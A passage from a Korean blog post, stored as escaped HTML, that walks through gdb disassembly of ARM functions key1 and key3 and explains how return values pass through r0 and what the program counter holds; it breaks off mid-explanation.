14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d1c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lr&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;End&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;dump.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(gdb)&amp;nbsp;disass&amp;nbsp;key3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Dump&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;code&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;function&amp;nbsp;key3:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d20&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(str&amp;nbsp;r11,&amp;nbsp;[sp,&amp;nbsp;#&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d24&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r11,&amp;nbsp;sp,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d28&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;lr&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d2c&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d30&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sp,&amp;nbsp;r11,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d34&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(ldr&amp;nbsp;r11,&amp;nbsp;[sp],&amp;nbsp;#4)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008d38&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lr&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;End&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;dump.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(gdb)&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 주의 깊게 볼 부분은 main의 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;key1(), key2(), key3()로 branch 되는 부분&lt;/span&gt;과&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;key1(), key2(), key3() 함수의 내용&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 일반적으로&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt; intel 계열과 ARM 계열의 branch 및 call을 통해 eax, r0를 통해 return 값을 전달&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이를 증명하는 부분은 key1(), key2(), key3()의 branch 이후 r0의 값을 다른 레지스터에 저장하는것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;key1() 함수&lt;/span&gt;의 내용을 보면 아래와 같다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(gdb)&amp;nbsp;disass&amp;nbsp;key1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Dump&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;code&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;function&amp;nbsp;key1:&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cd4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(str&amp;nbsp;r11,&amp;nbsp;[sp,&amp;nbsp;#&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cd8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r11,&amp;nbsp;sp,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cdc&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;pc&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008ce0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r0,&amp;nbsp;r3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008ce4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sp,&amp;nbsp;r11,&amp;nbsp;#0&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008ce8&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;pop&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r11}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;&amp;nbsp;(ldr&amp;nbsp;r11,&amp;nbsp;[sp],&amp;nbsp;#4)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x00008cec&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lr&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;End&amp;nbsp;of&amp;nbsp;assembler&amp;nbsp;dump.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 주의깊게 살펴볼 부분은 아래의 두 줄이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;mov r3, pc&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;mov r0, r3&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;그렇다면 pc는 무엇일까?&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;pc는 program counter&lt;/span&gt;의 약어로 ARM에서 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;다음에 수행해야할 명령어의 주소&lt;/span&gt;를 가리킨다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;그렇다면 0x00008ce0가 다음에 실행될 주소니까 pc에 0x00008ce0가 들어갈 것으로 